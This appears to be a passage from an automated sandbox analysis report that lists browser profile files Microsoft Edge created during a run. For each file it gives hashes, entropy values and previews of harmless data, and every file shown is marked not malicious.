C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.078895702499207
Encrypted:	false
SSDEEP:	6:HGzBYUStFyq2PN723oH+Tcwt9Eh1tIFUt8YGzBYU/11Zmw+YGzBYUZlRkwON723A:CYU9vVaYeb9Eh16FUt8LYU/11/+LYU5W
MD5:	61E299B3D9F5AEC4D5FF22EB058B9994
SHA1:	9A051027B3182E512DDE384ADFA673B153216F4A
SHA-256:	D13F7E81D8941D315964F3874D54758309BA7193374BA5CD992B138CE3B5A43A
SHA-512:	35FEA14CF221018845094E656DB84EF08B0CFE24E51AA87F5433A25D8E4B5115F93BE48250B5FB38834A35083D8E4438D354B824C3384D937ACD0BC4ADF79B35
Malicious:	false
Preview:	2024/11/23-18:06:41.130 2314 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/23-18:06:41.140 2314 Recovering log #3.2024/11/23-18:06:41.144 2314 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354134354367711
Encrypted:	false
SSDEEP:	6144:VA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:VFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	76CBF82A60D5698A9B2B463CB9F691D8
SHA1:	C4BC3660ED7496CD53DEA8C155510C9E2C6EED72
SHA-256:	96A3BD478C99253B812DD4C9FF2BA0D1BD0B23F50481D325A302BA45A266B2A3
SHA-512:	D480DFCD281CA6E9DB970BC7CFE95F9A5AE3194E3620C27CF274400C06722F3E22F711DBCF01CFFEA91CB35D848C618B7F8BA89D78C2178C75D29E30272CC57F
Malicious:	false
Preview:	...m.................DB_VERSION.1^...q...............&QUERY_TIMESTAMP:domains_config_gz2...13376876805052561..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.1335650925530345
Encrypted:	false
SSDEEP:	6:HGzBYUW9FB1N723oH+Tcwtk2WwnvB2KLlVGzBYUFN+q2PN723oH+Tcwtk2WwnvIg:CYUoBaYebkxwnvFLaYU3+vVaYebkxwnp
MD5:	7C4CACFC7574FC4C36768E832EA818C3
SHA1:	AFF4EEC8672AB3335E431D693CB92FFBBF922951
SHA-256:	109605EE7957840E0BFF29E0C3EC16ADEF978BAFE81DD0B96DE94109BAE4CEE9
SHA-512:	7F5F819A49D2A9A8E93882C433AF1F0328A09F326D50DCC79506D3EB5294843DDAC0651EA4AA79DE98EF31FB613F9CC6DA6C19F783CF8AA8CA5D5DCCC1B2CD35
Malicious:	false
Preview:	2024/11/23-18:06:41.134 182c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/23-18:06:41.166 182c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324605794948993
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rz:C1gAg1zfvL
MD5:	76DFD0FA90C6FF56860AA20742AFDCD3
SHA1:	19CB87CC79C8E02BA4D370B153898B46566F62BC
SHA-256:	6FB90D46CAA4994377D09BAC87A6112DD0340181DEAD8E491310659AF932A861
SHA-512:	09FD80773D89048ABDE684E9B7B4F7C01E5BB5E612C6DB6479E4F181396280F77FA71FCFC902AB3C0225554651875D3082DF15FE7759BC44ACBF1DC76A72846D
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0268ea46-7796-4dbf-8c76-721426bd33a3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\45e0d962-f7f0-4108-87f0-d221a6aac0df.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\5ee51f18-e93f-4b66-9a6b-ed1139d70f1e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9d694328-c3f4-4d3e-a45c-a13cdb9dda06.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4d29e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287213485277577
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n7:YcCpWsktsHnfc7CvsfgCgakhYhbm
MD5:	093E3F0EA7D5CE1697260321E93C95EB
SHA1:	6D262FF62829A9F3990AFC80B9F457A1F345290C
SHA-256:	76CC4ABA0355B54B8694788A7DAD9C08FA1F6413DFCEE7A666D95A69C7A16A60
SHA-512:	2419B824319070C466335A90D9FAB94B9734245C1A58F4E3452BC7952D29FC346A04ECA62F549047EC26189C0386A07E7120466A7A78474CDF19280457804F4F
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3c257.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d61d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a793fd1c-e71f-4522-8620-f4a2128ecd1e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1484
Entropy (8bit):	5.307817002041493
Encrypted:	false
SSDEEP:	24:YcCp/WwFGJ/I3RdshiZVMdmRds/MyZFRudFGRw6C1E6maPsRdsL6yZC52HLWQYhK:YcCpfgCzshWtshfc7akEsLXCgHbYhbm
MD5:	89F169D71715FBCA4841DC6AC43F0B22
SHA1:	A6AB514D3487DC3F239F76B0CC144EB7ED4C66DE
SHA-256:	898A7939D1A0FEC3EA725AECA13262125E80D4864CB8A88949866053D4586520
SHA-512:	EE214DA28B9C4F0BE6C8F7869324F7C077E115DF68DA80439E1D250D80B8B447643837F519F9CE6161F7839C0A1011CAEF7216826B0F3D9FBCA5B192834298C8
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379468800866708","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379468803791576","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\be53c009-e7d3-410d-827f-e364ff3d7121.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.110620808011421
Encrypted:	false
SSDEEP:	192:stJkdpSsgdxaFvrE9kvse8SbV+FQBQAkUqPmYJ:stJQSskxCDjbGCQGQ
MD5:	79D7361D2BA152E027C2AEB68C3284F4
SHA1:	31B6997641441B6729170A3684C01D2BE303B799
SHA-256:	29117A291C2162E3B0C7A467D2134BC54F6C3DE09CF7F2EB379C042A4625B299
SHA-512:	8B24741A64A3D837A70D2E88783F9DC9E9C41FAFF640AA59ED76A095715FA5DCE4E61B5204849D2A2BC2F3EF436EBCA02F0BEED7EEDAB9E6556966D618DA6432
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376876797225846","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF40f9c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9863
Entropy (8bit):	5.110620808011421
Encrypted:	false
SSDEEP:	192:stJkdpSsgdxaFvrE9kvse8SbV+FQBQAkUqPmYJ:stJQSskxCDjbGCQGQ
MD5:	79D7361D2BA152E027C2AEB68C3284F4
SHA1:	31B6997641441B6729170A3684C01D2BE303B799
SHA-256:	29117A291C2162E3B0C7A467D2134BC54F6C3DE09CF7F2EB379C042A4625B299
SHA-512:	8B24741A64A3D837A70D2E88783F9DC9E9C41FAFF640AA59ED76A095715FA5DCE4E61B5204849D2A2BC2F3EF436EBCA02F0BEED7EEDAB9E6556966D618DA6432
Malicious:	false
